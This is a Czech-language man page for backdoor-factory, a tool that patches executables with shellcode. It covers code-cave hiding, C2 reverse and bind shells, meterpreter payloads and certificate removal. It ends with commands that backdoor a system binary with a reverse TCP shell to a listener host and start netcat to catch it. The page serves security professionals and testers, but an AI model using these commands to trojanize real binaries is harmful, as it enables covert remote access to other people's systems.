backdoor-factory - vložit předdefinovaný nebo uživatelem definovaný kód shellu v binárních souborech
backdoor-factory [options]
backdoor-factory opraví spustitelné binární soubory uživatelem požadovaným kódem shellu a pokračuje normálním prováděním předpatchovaného stavu.
Tento nástroj je určen pouze pro bezpečnostní odborníky a výzkumníky.
Tento nástroj nepodporuje přemístitelný spustitelný soubor ELF (tj. kompilovaný s volbou -fPIE, navrženou požadavky na posílení Debianu, viz https://wiki.debian.org/Hardening)
Binární soubory, jako je ssh, nemusí být kaverovány správně, jako binární soubory jako dolphin (v době psaní této manuálové stránky).
zobrazit tuto nápovědu a odejít
Soubor do zadních vrátek
Užitná zatížení, která jsou k dispozici pro použití. Použijte 'zobrazit' pro zobrazení užitečného zatížení.
IP C2 pro reverzní připojení.
Port, ke kterému se lze buď připojit zpět pro reverzní shelly nebo naslouchat pro bind shelly
Vyberte tuto možnost, pokud chcete použít skákání v jeskyni kódu k dalšímu skrytí kódu shellu v binárním souboru.
Nařízení, aby byla do exe přidána nová sekce (lepší úspěch), ale méně vyhýbání se
Uživatelem zadaný shell kód, ujistěte se, že odpovídá architektuře, na kterou cílíte.
Vlajka jeskyně najde kódové jeskyně, které lze použít k uložení shell kódu. Tím se vytiskne do všech jeskyní kódu určité velikosti. S tímto nastavením lze použít parametr -l.
Pro použití s -c pro pomoc při hledání kódových jeskyní různých velikostí
Cesta k výstupnímu souboru backdoor. Nadřazené adresáře musí existovat
Název nové sekce musí mít méně než sedm znaků
Toto je umístění souborů, které chcete backdoor. Adresář se souborovým backdooringem můžete zrychlit tím, že vynutíte připojení codecave k exe pomocí nastavení -a.
Tento příznak změní sekci, ve které se nachází codecave, na RWE. Někdy je to nutné. Ve výchozím nastavení povoleno. Pokud je zakázáno, zadní vrátka mohou selhat.
Tento příkaz změní továrnu na zadní vrátka na mechanismus typu lovu a vstřikování shell kódu. Upravte nastavení cíle v modulu vstřikovače.
Pro použití s injektorem umístěte na původní soubor příponu pro snadné obnovení
Pro použití s modulem vstřikovače. Tento příkaz odstraní původní soubor. Není určeno pro použití ve výrobních systémech. (Autor není odpovědný za hloupé použití.)
Počáteční bod na offsetu disku, v bajtech. Někteří autoři chtějí zatemnit svůj offset na disku, aby se vyhnuli zpětnému inženýrství, pokud zjistíte, že jeden z těchto souborů používá tento příznak poté, co najdete offset.
Chcete-li zjistit, zda je soubor podporován BDF před jeho backdooringem. Pro použití samostatně nebo verbálně. Tato kontrola proběhne automaticky, pokud dojde k pokusu o backdooring.
Budoucí použití, které pomůže určit nejmenší možný shell kód v souboru PE
Zabije banner.
Pro výstup informací o ladění.
Pouze binární soubory typu ALL, x86 nebo x64. Výchozí=VŠECHNY
Umožňuje přepsání ukazatele na tabulku certifikátů PE efektivně odstranit certifikát z binárního souboru pro všechny záměry a účely.
EXPERIMENTÁLNÍ Zkontroluje binární soubory PE na 'requestedExecutionLevel level="highestAvailable"'. Pokud je tento řetězec součástí binárního souboru, musí běžet jako systém/admin. Pokud není v režimu kontroly podpory, pokusí se o opravu nejvyššího dostupného do manifestu, pokud existuje položka requiredExecutionLevel.
Toto nastavení použijte, pokud NECHCETE opravovat knihovny DLL. Záplaty ve výchozím nastavení.
Pro formát MACH-O. Pokud tlustý soubor, zaměřte se na to, který oblouk opravit. Výchozí hodnota je x64. Pro vynucení x86 použijte -F x86, pro vynucení obou oblouků použijte -F ALL.
U užitečného zatížení, které má schopnost signalizovat, nastavte čas v sekundách
Záplatovací metody pro PE soubory, 'manuální', 'automatické', nahrazovat a onionduke
Pro onionduke. Zadejte požadovaný binární soubor.
Výchozí: NEPODPOROVAT pro starší počítače XP, použijte -X pro podporu XP. Ve výchozím nastavení se binární soubor zhroutí na počítačích XP (např. sandboxy)
EXPERIMENTÁLNÍ Ve výchozím nastavení je v nové sekci vytvořena nová tabulka adresářů importu, zavoláním tohoto příznaku bude umístěna do jeskyně kódu. To může v některých případech způsobit selhání bianry. Nejprve otestujte cílové binární soubory.
Pro ty, kteří mají certifikáty pro kodesign, kteří chtějí podepisovat pouze binární soubory PE. Pojmenujte svůj podpisový klíč a soukromý klíč signingcert.cer a signingPrivateKey.pem v adresáři certs, je na vás, abyste získali podpisové certifikáty.
Spuštění skriptů předběžného zpracování v adresáři předběžného zpracování
V backdoor-factory jsou různé předdefinované kódy shellu. Jejich dostupnost závisí na typu cíle (ELF32, ELF64, PE32...). Seznam kódů shellu je definován níže.
potřeba: vzdálený hostitel a port k nastavení povoluje: vzdálený přístup k shellu
potřeba: vzdálený hostitel a port k nastavení povoluje: vzdálený přístup k shellu
potřeba: maják, vzdálený hostitel a port k nastavení povolení: vzdálený přístup k shellu
potřeba: uživatelsky definovaný kód shellu připravený k vložení povolení: závisí na kódu shellu
potřeba: povolení:
potřebuje: vzdálený hostitel a port k nastavení povoluje: vzdálený přístup k shellu
potřeby: vzdálený hostitel a port, které mají být nastaveny, povoluje: Vložit DLL serveru meterpreter prostřednictvím užitečného zatížení Reflective Dll Injection
potřebuje: vzdálený hostitel a port k nastavení povoluje: meterpreter přes přenos https
potřeby: uživatelsky definovaný kód shellu připravený k vložení povolení: závisí na kódu shellu
potřebuje: vzdálený hostitel a port k nastavení povolují:
potřebuje: vzdálený hostitel a port k nastavení povolují:
potřeby: vzdálený hostitel a port, které mají být nastaveny, povoluje: Vložit DLL serveru meterpreter prostřednictvím užitečného zatížení Reflective Dll Injection
potřeby: uživatelsky definovaný kód shellu připravený k vložení povolení: závisí na kódu shellu
potřebuje: vzdálený hostitel a port k nastavení povoluje: vzdálený přístup k shellu
potřebuje: vzdálený hostitel a port k nastavení povoluje: vzdálený přístup k shellu
potřeby: maják, vzdálený hostitel a port k nastavení povoluje: vzdálený přístup k shellu
potřeby: uživatelsky definovaný kód shellu připravený k vložení povolení: závisí na kódu shellu
Příklad kavekódování binárního ELF integrací vzdáleného přístupu k shellu prostřednictvím vzdáleného TCP posluchače (např. netcat):
backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcpNa hostiteli za IP 172.16.0.15 spusťte netcat v režimu poslechu:
netcat -l 172.16.0.15 8080Na cíli spusťte backdoored binární soubor:
./backdoored/dolphinNyní na hostiteli 172.16.0.15 použijte svůj shell.
Květen 2017, původně sestavil Philippe Thierry (phil at reseau-libre dot com)